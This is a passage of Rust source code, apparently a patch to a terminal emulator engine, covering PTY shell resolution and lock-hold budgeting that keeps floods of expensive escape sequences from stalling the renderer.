///
/// This intentionally does not consult Buzz's own `PATH`. A login shell reads
/// the user's rc files, which prepend their own entries (homebrew, asdf, mise,
/// `~/.local/bin`); starting from the platform default lets that happen
/// normally instead of layering it on top of Buzz's build toolchain.
#[cfg(unix)]
pub fn user_shell_path() -> String {
// Mirrors the `_PATH_DEFPATH`/`login(1)` default: standard system
// binaries only. `/usr/local/bin` is included because it is the
// conventional prefix on both macOS and Linux for user-installed tools
// that rc files expect to already be present.
"/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin".to_string()
}
#[cfg(windows)]
pub fn user_shell_path() -> String {
// On Windows the system directories are derived from the environment
// rather than fixed, and `cmd.exe`/PowerShell resolution depends on them.
let root = std::env::var("SystemRoot").unwrap_or_else(|_| r"C:\Windows".to_string());
format!(r"{root}\system32;{root};{root}\system32\Wbem")
}
@@ -0,0 +1,354 @@
//! Fence enforcement around `vte`'s `Processor`.
//!
//! Everything that reaches the terminal's parser goes through [`Feeder::feed`].
//! It is the single place both fences are applied, so there is no route by
//! which bytes become parser-visible without being charged.
use alacritty_terminal::vte::ansi::{Handler, Processor, StdSyncHandler};
use crate::fences::{
slice_bytes_remaining, FenceStats, Fences, MAX_SLICE, OSC_BUDGET, SYNC_CAP, TAIL_CAP,
TAIL_RESUME, WORK_BUDGET,
};
use crate::units::{Counting, CursorColumn};
/// Owns the parser and enforces F1/F2 on every byte fed to it.
pub struct Feeder {
parser: Processor<StdSyncHandler>,
fences: Fences,
stats: FenceStats,
/// Bytes charged since the last F2 reset.
since_reset: usize,
/// Bytes accepted but not yet parsed. Grows when arrival outruns
/// retirement; drained by every [`Feeder::feed`] and [`Feeder::drain`].
pending: Vec<u8>,
/// How much of `pending` has already been parsed. Kept as an index rather
/// than draining the front on every slice, so a large tail is not
/// re-shuffled once per slice; the prefix is dropped in one go on the next
/// enqueue.
pending_at: usize,
/// The grid the weights are computed against. Tracked here rather than
/// read from the `Term` because `feed` only has the handler, and kept in
/// sync by [`Feeder::resize`]: a stale grid misprices every O(cells)
/// callback for as long as it is wrong.
columns: usize,
lines: usize,
/// Whether the parser is part-way through an escape sequence that has not
/// yet dispatched. Governs how the next slice is metered -- see
/// [`crate::fences::slice_bytes_remaining`].
mid_escape: bool,
/// Deepest scrollback this feeder has ever been configured for.
///
/// A high-water mark rather than the current depth, and the difference is
/// not conservatism for its own sake -- the rows are still there. Upstream
/// frees history lazily: `Storage::shrink_lines` truncates only once the
/// buffer exceeds the new length by `MAX_CACHE_SIZE`, so immediately after
/// a decrease the grid still owns rows that a reset must walk. Pricing at
/// the new depth would charge for a grid that does not exist yet.
///
/// Never lowered, so it needs no clearing transition and cannot go stale
/// in the unsafe direction. The cost is that a session which shrinks its
/// scrollback keeps paying the deep price for the rest of its life; the
/// alternative is a bound that is wrong immediately after every shrink.
scrollback: usize,
}
impl Feeder {
pub fn new(fences: Fences, columns: usize, lines: usize, scrollback: usize) -> Self {
Self {
parser: Processor::new(),
fences,
stats: FenceStats::default(),
since_reset: 0,
pending: Vec::new(),
pending_at: 0,
mid_escape: false,
columns,
lines,
scrollback,
}
}
/// Track a geometry change, so the cost weights describe the current grid.
///
/// Takes the whole [`crate::Size`] rather than a column/line pair on
/// purpose. Scrollback is as load-bearing as the other two -- it is most
/// of RIS's price and therefore most of the slice derivation -- and a
/// signature that accepted only the dimensions let a caller change the
/// depth on the `Term` while the feeder kept charging the construction
/// value. One argument, one ownership boundary, no way to update two of
/// three.
pub fn resize(&mut self, size: crate::Size) {
self.columns = size.columns;
self.lines = size.screen_lines;
// Grows only. See the field: a decrease does not immediately free the
// rows a reset has to walk.
self.scrollback = self.scrollback.max(size.scrollback);
}
pub fn stats(&self) -> FenceStats {
self.stats
}
pub fn reset_stats(&mut self) {
self.stats.reset();
}
/// Bytes currently buffered inside a synchronized update.
pub fn pending_sync_bytes(&self) -> usize {
self.parser.sync_bytes_count()
}
/// Bytes accepted but not yet parsed, because a previous [`Feeder::feed`]
/// spent its work budget before reaching them.
pub fn pending_bytes(&self) -> usize {
self.pending.len() - self.pending_at
}
/// Whether the pending tail has reached [`TAIL_CAP`].
///
/// Deliberately derived from the current depth rather than latched. A
/// latch is a state the fence owns and could fail to clear, which is
/// exactly how a paused reader strands a child mid-teardown; a reader that
/// simply stops asking resumes by default.
///
/// **No production consumer today, and not an oversight.** The runtime
/// reader pumps [`Feeder::drain`] to completion after every read
/// (`terminal_runtime.rs`), so the tail is empty between iterations and
/// this can never go true -- measured 0 bytes high-water against 8 MiB of
/// pure RIS, the densest atom there is. It exists for a future reader
/// that defers pumping, and such a reader **must** consult it: without
/// the pump loop the same stream reaches [`TAIL_CAP`] in 257 reads of
/// 16 KiB.
///
/// The numbers are here rather than "nothing calls this" because the
/// signal and the loop are one fact from two sides. Delete the loop and
/// this predicate stops being unreachable in the same instant it starts
/// being needed.
pub fn tail_full(&self) -> bool {
self.pending_bytes() >= TAIL_CAP
}
/// Whether a paused reader may resume: the tail has drained to the low
/// water mark. Separate from `!tail_full()` so the reader does not flap
/// between full and one-byte-below-full.
pub fn tail_drained(&self) -> bool {
self.pending_bytes() <= TAIL_RESUME
}
/// Discard the unparsed tail.
///
/// For session close only, and lossless where it is used: publication is
/// detached before shutdown drains, so this tail is bytes no renderer can
/// consume. Draining the *PTY* remains lifecycle-critical -- this exists so
/// parser work cannot hold teardown behind it.
pub fn abandon_tail(&mut self) -> usize {
let abandoned = self.pending_bytes();
self.pending.clear();
self.pending_at = 0;
self.stats.abandoned_bytes += abandoned as u64;
abandoned
}
/// Accept PTY output and parse what fits in one work budget.
///
/// Returns whether bytes remain unparsed. Bytes beyond the budget are
/// retained and parsed by [`Feeder::drain`], so this bounds the *lock
/// hold*; it does not bound the queue. When arrival outruns retirement
/// the tail grows to [`TAIL_CAP`] and [`Feeder::tail_full`] goes true,
/// which is the reader's cue to stop reading the PTY and let the child
/// block. No policy is applied here: a fence that dropped input to protect
/// itself would corrupt the screen to avoid being slow.
pub fn feed<H: Handler + CursorColumn>(&mut self, handler: &mut H, bytes: &[u8]) -> bool {
self.enqueue(bytes);
self.drain(handler);
self.pending_bytes() > 0
}
/// Append to the pending tail, compacting the already-parsed prefix first.
fn enqueue(&mut self, bytes: &[u8]) {
if self.pending_at > 0 {
self.pending.drain(..self.pending_at);
self.pending_at = 0;
}
self.pending.extend_from_slice(bytes);
}
/// Parse from the pending tail until the work budget is spent.
///
/// The budget is checked between parser slices, never inside a callback:
/// vte's own mid-buffer stop is driven by `Perform::terminated()`, whose
/// implementor in the ansi layer is private, so the cut has to be made
/// from outside, and a callback already running cannot be preempted at
/// all. One atom is therefore the irreducible overrun -- and it is not
/// small: `ESC[65535Z` with tabstops cleared is 8 bytes and 82 ms at 1600
/// columns, because upstream's `move_backward_tabs` rescans the row once
/// per count when it finds no stop.
///
/// What *is* bounded is the number of atoms per slice, and that bound
/// holds from the first byte of a cold feeder: [`slice_bytes_remaining`] is derived
/// from the densest work-per-byte upstream can produce on this grid, so
/// no slice can contain more than one budget's worth of callbacks no
/// matter what the payload is or what the feeder has seen before.
///
/// Returns the work spent, which is at least the budget whenever the tail
/// is still non-empty on return.
pub fn drain<H: Handler + CursorColumn>(&mut self, handler: &mut H) -> u64 {
// Slices are copied out of the tail rather than borrowed from it,
// because `advance_slice` needs `&mut self` and the tail is part of
// self. A stack buffer keeps that from allocating; the copy is a
// memcpy against a parse two orders of magnitude more expensive.
let mut buf = [0u8; MAX_SLICE];
let mut spent: u64 = 0;
while self.pending_at < self.pending.len() {
// Size each slice against what is *left* of the budget, and
// against what is actually in front of the parser. A slice can
// only be as expensive as the callbacks it contains, and only an
// escape can buy grid-sized work in two bytes -- so a plain run
// is sliced against the plain-byte cost and stops at the next
// `ESC`, which then gets a slice metered against the worst atom.
// The drain therefore returns on the atom that crosses the
// budget, not at the end of a slice that ran several more.
//
// Where one atom is worth more than the entire budget -- RIS at
// any real scrollback depth -- that escape gets a one-byte slice.
// That is the honest consequence of the law: nothing wider can
// promise to stop after the crossing atom when a single atom
// always crosses.
// A slice is never wider than MAX_SLICE, so the scan for the next
// escape stops there too: searching the whole tail would be
// O(tail) per slice and O(tail^2) per drain, which measured as a
// 7x throughput *regression* on plain text -- a bound that costs
// more than the thing it bounds.
let horizon = (self.pending_at + MAX_SLICE).min(self.pending.len());
let next_escape = if self.mid_escape {
// Already inside a sequence whose callback has not fired. Its
// remaining bytes are *not* plain text -- `ESC` then `c` is a
// grid reset -- so they keep the escape's metering. Without
// this the byte after a lone `ESC` is priced as a character
// and the atom rides into a wide slice with whatever follows
// it, which is the post-atom overrun by another door.
0
} else {
self.pending[self.pending_at..horizon]
.iter()
.position(|&b| b == 0x1b)
.unwrap_or(horizon - self.pending_at)
};
let width = slice_bytes_remaining(
self.columns,
self.lines,
self.scrollback,
spent,
next_escape,
);
let end = (self.pending_at + width).min(self.pending.len());
let len = end - self.pending_at;
buf[..len].copy_from_slice(&self.pending[self.pending_at..end]);
self.pending_at = end;
let cost = self.advance_slice(handler, &buf[..len]);
// A slice that contained an escape but dispatched nothing left the
// parser mid-sequence. Work is the signal because it is the thing
// being budgeted: a sequence that has not yet cost anything has
// not yet run.
self.mid_escape = (self.mid_escape || buf[..len].contains(&0x1b)) && cost == 0;
spent = spent.saturating_add(cost);
if spent >= WORK_BUDGET {
break;
}
}
if self.pending_at == self.pending.len() {
self.pending.clear();
self.pending_at = 0;
}
let depth = self.pending_bytes();
self.stats.max_pending = self.stats.max_pending.max(depth);
if depth >= TAIL_CAP {
self.stats.tail_breaches += 1;
}
spent
}
/// Parse one slice, applying both fences to it. Returns the work it cost.
fn advance_slice<H: Handler + CursorColumn>(&mut self, handler: &mut H, bytes: &[u8]) -> u64 {
let mut spent: u64 = 0;
let sync_before = self.parser.sync_bytes_count();
{
let mut counting = Counting::new(handler, self.columns, self.lines, self.scrollback);
self.parser.advance(&mut counting, bytes);
self.stats.completed_units =
self.stats.completed_units.saturating_add(counting.units());
self.stats.completed_work = self.stats.completed_work.saturating_add(counting.work());
spent = spent.saturating_add(counting.work());
}
let sync_after = self.parser.sync_bytes_count();
// Charge exactly the bytes the parser could see, by route:
//
// * the buffer shrank -> a synchronized update ended and released
// `sync_before` buffered bytes plus whatever of `bytes` followed it.
// Charging only `bytes` here is the "omitted flush accounting"
// mutation: it under-charges by the whole buffered frame.
// * the buffer grew -> these bytes were swallowed into the buffer
// and are not yet parser-visible. Charging them now is the "raw
// counting" mutation: it over-charges, and resets the parser in the
// middle of a legitimate frame, destroying content.
// * neither -> ordinary unsynchronized input.
let charged = if sync_after < sync_before {
let released = sync_before + bytes.len() - sync_after;
self.note_release(released);
released
} else if sync_after > sync_before {
// Buffered, not yet visible. Charged when it is released.
0
} else {
bytes.len()
};
self.charge(charged);
// F1: a synchronized update may not buffer without bound. One abort
// per breach; the released bytes are parser-visible and are charged.
if self.fences.sync_abort && self.parser.sync_bytes_count() >= SYNC_CAP {
let released = self.parser.sync_bytes_count();
// Counted too: aborting flushes the buffered frame through the
// handler, so these are units the lock hold paid for. Leaving them
// out would undercount exactly on the fenced path.
{
let mut counting =
Counting::new(handler, self.columns, self.lines, self.scrollback);
self.parser.stop_sync(&mut counting);
self.stats.completed_units =
self.stats.completed_units.saturating_add(counting.units());
self.stats.completed_work =
self.stats.completed_work.saturating_add(counting.work());
spent = spent.saturating_add(counting.work());
}
self.stats.sync_aborts += 1;
self.note_release(released);
self.charge(released);
}
// F2: rebuild the parser once the budget is spent. Unconditional --
// a fresh `Processor` is the only way to discard parser state that a
// hostile stream is holding open, and it must not depend on the
// parser agreeing that it is in a bad state.
if self.fences.osc_budget && self.since_reset >= OSC_BUDGET {
self.parser = Processor::new();
self.stats.osc_resets += 1;
self.since_reset = 0;
}
spent
}
fn charge(&mut self, bytes: usize) {
self.since_reset += bytes;
self.stats.charged_bytes += bytes as u64;
}
fn note_release(&mut self, bytes: usize) {
if bytes > self.stats.max_release {
self.stats.max_release = bytes;
}
}
}
@@ -0,0 +1,305 @@
//! The lock the reader and the renderer contend for, and the meter on it.
//!
//! This lives in the engine crate rather than in the embedder because the
//! property it exists to prove is a property of the emulator *and* the lock
//! together: F1 bounds how many bytes one `feed` releases into the parser,
//! which bounds how long the reader can hold this mutex, which bounds how long
//! the renderer waits for it. Split the lock out to the Tauri layer and the
//! gate can only be written where no fixture runs.
//!
//! Measured, not assumed. Under a 180 MB/s flood the reader's own hold is
//! p50 1 us while the renderer's *acquire* is p50 4245 us -- four orders apart,
//! because 0.389% of calls carry 96.4% of the lock time. Holding time is the
//! wrong quantity; waiting time is the one a human feels. So the two planes are
//! metered separately: pooling them would let the reader's millions of fast
//! acquires dilute the renderer's tail into a false pass.
use std::sync::atomic::{AtomicBool, AtomicU32, AtomicU64, Ordering};
use std::time::Instant;
use alacritty_terminal::sync::FairMutex;
use parking_lot::MutexGuard;
use crate::damage::{self, Encoder, Frame};
use crate::Terminal;
/// Number of latency buckets. Bucket `i` covers `[2^(i-1), 2^i)` microseconds,
/// so bucket 31 tops out around 35 minutes -- unreachable in practice, which is
/// the point: nothing is silently clamped into the last bucket.
const BUCKETS: usize = 32;
fn bucket_of(micros: u64) -> usize {
(u64::BITS - micros.leading_zeros()) as usize
}
/// Upper bound of a bucket, in microseconds. Percentiles report this, so a
/// reported latency is never better than what was actually observed.
fn bucket_ceiling(bucket: usize) -> u64 {
if bucket == 0 {
0
} else {
(1u64 << bucket) - 1
}
}
/// Lock-acquisition latencies for one plane, recorded without taking a second
/// lock -- an instrument that contends is measuring itself.
#[derive(Debug)]
pub struct AcquireMeter {
acquisitions: AtomicU64,
max_micros: AtomicU64,
buckets: [AtomicU32; BUCKETS],
}
impl Default for AcquireMeter {
fn default() -> Self {
Self {
acquisitions: AtomicU64::new(0),
max_micros: AtomicU64::new(0),
buckets: std::array::from_fn(|_| AtomicU32::new(0)),
}
}
}
impl AcquireMeter {
fn record(&self, micros: u64) {
self.acquisitions.fetch_add(1, Ordering::Relaxed);
self.max_micros.fetch_max(micros, Ordering::Relaxed);
self.buckets[bucket_of(micros)].fetch_add(1, Ordering::Relaxed);
}
/// Read the counters. Cheap and non-blocking; safe to call from a gate
/// while the flood is still running.
pub fn snapshot(&self) -> AcquireStats {
AcquireStats {
acquisitions: self.acquisitions.load(Ordering::Relaxed),
max_micros: self.max_micros.load(Ordering::Relaxed),
buckets: std::array::from_fn(|i| self.buckets[i].load(Ordering::Relaxed)),
}
}
/// Clear the counters. Diagnostics are per-run.
pub fn reset(&self) {
self.acquisitions.store(0, Ordering::Relaxed);
self.max_micros.store(0, Ordering::Relaxed);
for bucket in &self.buckets {
bucket.store(0, Ordering::Relaxed);
}
}
}
/// A read of one plane's acquisition latencies.
///
/// `max_micros` is exact because the budget it answers to -- no acquire above
/// one frame at 60 Hz -- is a statement about a single worst event. The
/// distribution is bucketed by powers of two because the budget *it* answers to
/// has 80x of headroom (p95 measured at 49 us against 4 ms), and a factor-of-two
/// resolution against 80x of margin buys nothing for the memory it costs.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct AcquireStats {
pub acquisitions: u64,
pub max_micros: u64,
buckets: [u32; BUCKETS],
}
impl AcquireStats {
/// Latency at percentile `p` (0.0..=1.0), in microseconds, rounded up to
/// the enclosing bucket's ceiling.
pub fn percentile_micros(&self, p: f64) -> u64 {
if self.acquisitions == 0 {
return 0;
}
let target = (self.acquisitions as f64 * p).ceil() as u64;
let mut seen = 0u64;
for (bucket, count) in self.buckets.iter().enumerate() {
seen += *count as u64;
if seen >= target {
return bucket_ceiling(bucket);
}
}
self.max_micros
}
}
/// A [`Terminal`] shared between the PTY reader and the renderer.
pub struct SharedTerminal {
term: FairMutex<Terminal>,
reader: AcquireMeter,
renderer: AcquireMeter,
closing: AtomicBool,
}
impl SharedTerminal {
pub fn new(term: Terminal) -> Self {
Self {
term: FairMutex::new(term),
reader: AcquireMeter::default(),
renderer: AcquireMeter::default(),
closing: AtomicBool::new(false),
}
}
/// Acquisition latencies for the PTY-reader plane.
pub fn reader_acquire(&self) -> &AcquireMeter {
&self.reader
}
/// Acquisition latencies for the renderer plane. This is the one with a
/// budget attached.
pub fn renderer_acquire(&self) -> &AcquireMeter {
&self.renderer
}
/// Feed PTY output into the emulator. Reader plane.
///
/// Returns whether a tail remains: one acquisition parses one work
/// budget, then **drops the lock** so the renderer can have it. The
/// caller pumps [`SharedTerminal::drain`] until it returns false. Doing
/// the whole buffer under one acquisition is what an unbounded hold *is*,
/// so it is not offered here.
pub fn feed(&self, bytes: &[u8]) -> bool {
let mut term = self.acquire(&self.reader);
if self.closing.load(Ordering::Acquire) {
false
} else {
term.feed(bytes)
}
}
/// Parse more of the pending tail under a fresh acquisition. Reader
/// plane. Returns whether any remains.
pub fn drain(&self) -> bool {
let mut term = self.acquire(&self.reader);
if self.closing.load(Ordering::Acquire) {
false
} else {
term.drain()
}
}
/// Feed and pump to completion, re-acquiring between slices.
pub fn feed_fully(&self, bytes: &[u8]) {
let mut more = self.feed(bytes);
while more {
more = self.drain();
}
}
/// Atomically enter close mode and discard parser work. Subsequent PTY
/// bytes are raw-drained by the embedder and never reach callbacks.
pub fn begin_closing(&self) -> usize {
self.closing.store(true, Ordering::Release);
self.acquire(&self.reader).abandon_tail()
}
pub fn is_closing(&self) -> bool {
self.closing.load(Ordering::Acquire)
}
/// Sample damage and encode a frame. Renderer plane.
///
/// The lock covers the copy only; `encode` -- hashing, span grouping,
/// allocation -- runs after the guard drops, which is worth ~75x in hold
/// time. The `Encoder` is the caller's because its dedup state is per
/// consumer, and passing it in keeps the encode off this lock by
/// construction rather than by remembering to.
pub fn render(&self, encoder: &mut Encoder) -> Frame {
let raw = {
let mut term = self.acquire(&self.renderer);
damage::capture(&mut term)
};
encoder.encode(raw)
}
/// Copy the whole viewport for a subscriber that arrived mid-stream.
/// Renderer plane.
///
/// Attach, reattach, and the successor side of a resize all need the
/// screen as it stands, not the next thing to change on it. Crucially this
/// leaves damage alone, so taking a snapshot for a newcomer cannot steal
/// the incumbent renderer's pending rows -- see [`damage::capture_all`].
///
/// Costs a full grid copy under the lock, so call it on attach rather than
/// per frame.
pub fn snapshot(&self, encoder: &mut Encoder) -> Frame {
let raw = {
let mut term = self.acquire(&self.renderer);
damage::capture_all(&mut term)
};
encoder.encode(raw)
}
/// Move the viewport through scrollback. Renderer plane.
///
/// Positive moves into history; see [`crate::Terminal::scroll`]. Returns
/// whether it moved, so the caller can skip capture and publication for
/// the momentum tail that arrives after history has run out.
pub fn scroll(&self, lines: i32) -> bool {
self.acquire(&self.renderer).scroll(lines)
}
/// Return the viewport to the live edge. Renderer plane. Returns whether
/// it moved, so an unscrolled terminal costs one comparison per keystroke
/// and no repaint.
pub fn scroll_to_bottom(&self) -> bool {
self.acquire(&self.renderer).scroll_to_bottom()
}
/// Apply a coalesced resize. Renderer plane: this competes with the
/// renderer for the same lock and can hold it for milliseconds.
pub fn resize(&self, size: crate::Size) -> crate::Viewport {
self.acquire(&self.renderer).resize(size)
}
/// Take the lock for something the methods above don't cover (input,
/// reading stats). Metered on the renderer plane, since anything
/// that isn't the read loop competes with the renderer for the same lock.
pub fn lock(&self) -> MutexGuard<'_, Terminal> {
self.acquire(&self.renderer)
}
/// Modes the renderer/input boundary needs to report alongside frames.
pub fn input_modes(&self) -> (bool, bool) {
let term = self.acquire(&self.renderer);
let mode = term.term().mode();
(
mode.contains(alacritty_terminal::term::TermMode::BRACKETED_PASTE),
mode.contains(alacritty_terminal::term::TermMode::FOCUS_IN_OUT),
)
}
fn acquire(&self, meter: &AcquireMeter) -> MutexGuard<'_, Terminal> {
let started = Instant::now();
let guard = self.term.lock();
meter.record(started.elapsed().as_micros() as u64);
guard
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::{Fences, Size};
#[test]
fn closing_abandons_tail_and_permanently_refuses_parser_callbacks() {
let (terminal, _actions) = Terminal::new(Size::default(), Fences::ALL);
let shared = SharedTerminal::new(terminal);
let payload = b"\x1b#8".repeat(10_000);
assert!(shared.feed(&payload), "fixture must create parser tail");
let before = shared.lock().stats();
let abandoned = shared.begin_closing();
assert!(abandoned > 0, "close must abandon without draining first");
assert!(shared.is_closing());
assert!(!shared.feed(b"parser callback after close"));
assert!(!shared.drain());
let after = shared.lock().stats();
assert_eq!(after.completed_units, before.completed_units);
assert_eq!(
after.abandoned_bytes,
before.abandoned_bytes + abandoned as u64
);
}
}
@@ -0,0 +1,138 @@
//! Login-shell resolution for spawned PTY children.
//!
//! Tyler asked for the user's shell of choice, so the resolution order is the
//! user's own: `$SHELL`, then the passwd entry, then `/bin/sh`. What matters
//! is the *validity* test applied at each step, and it is not "the path
//! exists".
//!
//! `portable-pty` gates both steps on `access(X_OK)` (`cmdbuilder.rs:545-553`
//! for `$SHELL`, `:43-71` for passwd). `access(X_OK)` answers "may I execute
//! this" for *any* file type, and a directory carries the execute bit to mean
//! "may I traverse it" — so `access("/tmp", X_OK)` returns 0. Verified by C
//! repro and end-to-end through a real PTY: with `SHELL=/tmp`,
//! `CommandBuilder::get_shell()` returns `"/tmp"`, `spawn_command` returns
//! `Ok`, and the child dies with exit code 1 after printing
//! `fatal runtime error: assertion failed: output.write(&bytes).is_ok()`.
//! The user gets a terminal that opens and instantly dies with a Rust runtime
//! panic, and every layer above reported success.
//!
//! So we require an **executable regular file**, following symlinks: `stat`
//! rather than `lstat` semantics, because `/bin/sh` is legitimately a symlink
//! on many systems. A directory or a non-executable file falls through to the
//! next candidate instead of becoming an unspawnable child.
use std::path::Path;
/// Last-resort shell. POSIX guarantees `/bin/sh`; if this is not executable
/// the machine has bigger problems than our terminal.
pub const FALLBACK_SHELL: &str = "/bin/sh";
/// Returns true if `path` is a regular file this process may execute.
///
/// The conjunction is load-bearing and neither half suffices:
///
/// - `access(X_OK)` alone accepts a **directory** — the execute bit means
/// *traverse* there, so `access("/tmp", X_OK) == 0`. That is the bug
/// inherited from `portable-pty` (`cmdbuilder.rs:545-553`): with
/// `SHELL=/tmp` the child aborts with a Rust runtime panic while every
/// layer reports success.
/// - Raw `mode & 0o111` alone accepts a file the caller **cannot** execute.
/// The bits say *some* class has execute permission, not the applicable
/// one, and they do not evaluate ACLs. Verified with a self-owned regular
/// file at mode `0o010`: `mode & 0o111` is true, `access(X_OK)` is -1, and
/// running it gives `Permission denied`.
///
/// So: regular-file metadata (following symlinks, because `/bin/sh -> dash`
/// is legitimate) **and** effective executability via `access(X_OK)`.
#[cfg(unix)]
pub fn is_executable_file(path: &Path) -> bool {
let Ok(meta) = std::fs::metadata(path) else {
return false;
};
meta.is_file() && can_execute(path)
}
/// `access(path, X_OK)`: does the *effective* user have execute permission,
/// accounting for the applicable permission class and ACLs?
#[cfg(unix)]
fn can_execute(path: &Path) -> bool {
use std::os::unix::ffi::OsStrExt;
let Ok(c_path) = std::ffi::CString::new(path.as_os_str().as_bytes()) else {
return false; // interior NUL: not a path we can ask about
};
// SAFETY: `c_path` is a valid NUL-terminated C string for the duration of
// the call, and `access` only reads it.
unsafe { libc::access(c_path.as_ptr(), libc::X_OK) == 0 }
}
/// Resolves the shell to spawn: `$SHELL`, then the passwd entry, then
/// [`FALLBACK_SHELL`]. Each candidate must pass [`is_executable_file`].
///
/// `shell_env` is the caller's view of `$SHELL` so the resolution order is
/// testable without mutating process-global state; production passes
/// `std::env::var_os("SHELL")`.
#[cfg(unix)]
pub fn resolve_shell(shell_env: Option<&str>) -> String {
// One validation path for every candidate, deliberately. Validating each
// branch separately leaves the passwd branch's check untestable on any
// machine whose passwd shell happens to be valid — a mutant that deletes
// it survives because nothing can distinguish it. Sharing `validated`
// means the `$SHELL` arm's coverage is the passwd arm's coverage.
let candidates = [shell_env.map(str::to_owned), passwd_shell()];
candidates
.into_iter()
.flatten()
.find(|candidate| validated(candidate))
.unwrap_or_else(|| FALLBACK_SHELL.to_owned())
}
/// The single validity test every shell candidate must pass.
#[cfg(unix)]
fn validated(candidate: &str) -> bool {
is_executable_file(Path::new(candidate))
}
/// The current user's login shell from the passwd database, unvalidated:
/// `resolve_shell` applies the shared [`validated`] check to it.
///
/// This is the step that matters for a Finder- or launchd-started app, which
/// can have no `$SHELL` at all: without it we would hand a zsh user `/bin/sh`
/// and call it their shell of choice.
#[cfg(unix)]
pub(crate) fn passwd_shell() -> Option<String> {
// SAFETY: `getpwuid` returns a pointer to a static passwd struct owned by
// libc, valid until the next passwd-database call. We copy the string out
// before returning and make no other libc calls in between.
let shell = unsafe {
let ent = libc::getpwuid(libc::getuid());
if ent.is_null() {
return None;
}
let pw_shell = (*ent).pw_shell;
if pw_shell.is_null() {
return None;
}
std::ffi::CStr::from_ptr(pw_shell).to_str().ok()?.to_owned()
};
Some(shell)
}
/// The login-shell `argv[0]` convention: the shell's basename prefixed with
/// `-`. This is what tells any shell — zsh, bash, fish, tcsh, nu — to run as
/// a login shell, without sniffing its name or guessing its flag grammar.
///
/// `portable-pty` applies this itself for a default program
/// (`cmdbuilder.rs:510-517`); we compute it here so the contract is asserted
/// against a value we own rather than against the dependency's behaviour.
pub fn login_argv0(shell: &str) -> String {
let basename = shell.rsplit('/').next().unwrap_or(shell);
format!("-{basename}")
}
/// Resolve the command shell on Windows from `ComSpec`, falling back to cmd.
#[cfg(windows)]
pub fn resolve_shell(shell_env: Option<&str>) -> String {
shell_env.unwrap_or("cmd.exe").to_owned()
}
@@ -0,0 +1,382 @@
//! Counting what the parser *does*, not how many bytes it read.
//!
//! Both fences in [`crate::fences`] meter bytes. That is the right denominator
//! for memory -- a buffer's size is bytes -- and the wrong one for time. `ESC[m`
//! and `ESC#8` are four bytes each; the first sets an attribute and the second
//! rewrites every cell of the grid. Metering the reader's lock hold in bytes
//! therefore prices those identically, and a stream of the second one holds the
//! lock for as long as it likes without ever tripping a byte budget.
//!
//! Measured: a DECALN flood at 200x50 reaches p95 65535us against a 4000us
//! budget with **zero** F1 aborts -- the fence never fires, because nothing is
//! buffered. Unfenced, one acquisition was observed at 22.1s, about 1300
//! dropped frames in a single lock hold.
//!
//! So this module adds a third quantity: the number of *completed parser
//! units* -- one per `Handler` callback the parser dispatches, which is one
//! per fully-parsed escape sequence or printed character. It is a proxy for
//! work rather than a measure of it, but it has the property the byte count
//! lacks: it advances once per thing the emulator actually did.
//!
//! ## Why a wrapper, and not vte's own stopping point
//!
//! `Parser::advance_until_terminated` already supports stopping mid-buffer,
//! but termination is driven by `Perform::terminated()`, and in the ansi layer
//! the implementor is `Performer`, which is private (`vte-0.15.0/src/ansi.rs`:
//! `struct Performer` at 425, `terminated` at 1825, set only for BSU handling).
//! An embedder cannot reach it, so the stopping point has to be built outside
//! the parser rather than inside it.
//!
//! ## What this deliberately does not do
//!
//! It does not skip or veto expensive callbacks once a budget is spent. That
//! would bound the lock hold perfectly and silently corrupt the screen, which
//! is a worse failure than the one being fixed: a slow terminal recovers, a
//! wrong one does not. Every unit is delegated; the count only decides where
//! the *caller* may cut the input.
use alacritty_terminal::event::EventListener;
use alacritty_terminal::term::Term;
use alacritty_terminal::vte::ansi::cursor_icon::CursorIcon;
use alacritty_terminal::vte::ansi::{
Attr, CharsetIndex, ClearMode, CursorShape, CursorStyle, Handler, Hyperlink, KeyboardModes,
KeyboardModesApplyBehavior, LineClearMode, Mode, ModifyOtherKeys, PrivateMode, Rgb,
ScpCharPath, ScpUpdateMode, StandardCharset, TabulationClearMode,
};
/// Read access to the cursor column of whatever the wrapper is driving.
///
/// Exists for exactly one callback. CBT's cost is bounded by *cursor
/// movement*, and the only way to charge it honestly -- or to stop it early
/// -- is to watch the cursor between steps. Everything else in this module is
/// priced from the grid alone, which is why this is a separate trait and a
/// separate bound rather than a field on [`Counting`].
///
/// Implemented over the public path in `alacritty_terminal-0.26.0`:
/// `Term::grid` (term/mod.rs:645) -> `Grid::cursor` (grid/mod.rs:113) ->
/// `Cursor::point` (grid/mod.rs:36). No private field, no fork.
pub trait CursorColumn {
fn cursor_column(&self) -> usize;
}
impl<L: EventListener> CursorColumn for Term<L> {
#[inline]
fn cursor_column(&self) -> usize {
self.grid().cursor.point.column.0
}
}
/// Wraps a [`Handler`], forwarding every callback and counting them.
///
/// Every one of the trait's 71 methods has an empty default body upstream, so
/// a method left undelegated here would compile cleanly and silently discard
/// that escape sequence. The delegations are therefore generated by a macro
/// over the full method list rather than written out: the failure mode of
/// hand-copying is invisible.
pub struct Counting<'a, H: Handler + CursorColumn> {
inner: &'a mut H,
/// Callbacks dispatched, one per unit regardless of cost. This is the
/// fixture-facing number: it says what the parser *did*, and it is kept
/// separate from `work` because collapsing them is precisely the mistake
/// that made the first version of this seam useless.
units: u64,
/// Cost-weighted work, in cell-equivalents. This is the scheduling number.
work: u64,
columns: u64,
lines: u64,
/// Configured scrollback depth, not current fill. See `reset_state`.
scrollback: u64,
}
impl<'a, H: Handler + CursorColumn> Counting<'a, H> {
/// `columns` and `lines` are the grid the handler is about to act on, and
/// they are the weights' only input: an O(cells) callback is charged
/// `columns * lines` because that is what it touches.
pub fn new(inner: &'a mut H, columns: usize, lines: usize, scrollback: usize) -> Self {
Self {
inner,
units: 0,
work: 0,
columns: columns as u64,
lines: lines as u64,
scrollback: scrollback as u64,
}
}
/// Callbacks dispatched since this wrapper was created.
pub fn units(&self) -> u64 {
self.units
}
/// Cost-weighted work dispatched, in cell-equivalents.
pub fn work(&self) -> u64 {
self.work
}
/// Cells in the grid. Saturating: `Size` is unclamped `usize`, so this
/// product is reachable, and a wrapped weight prices the most expensive
/// callbacks as the cheapest.
#[inline]
fn cells(&self) -> u64 {
self.columns.saturating_mul(self.lines)
}
/// A parameter charged at its clamped value.
///
/// Upstream clamps most counts to the grid before acting on them, so the
/// bound is the clamp, not the parameter: `ESC[65535X` on an 80-column
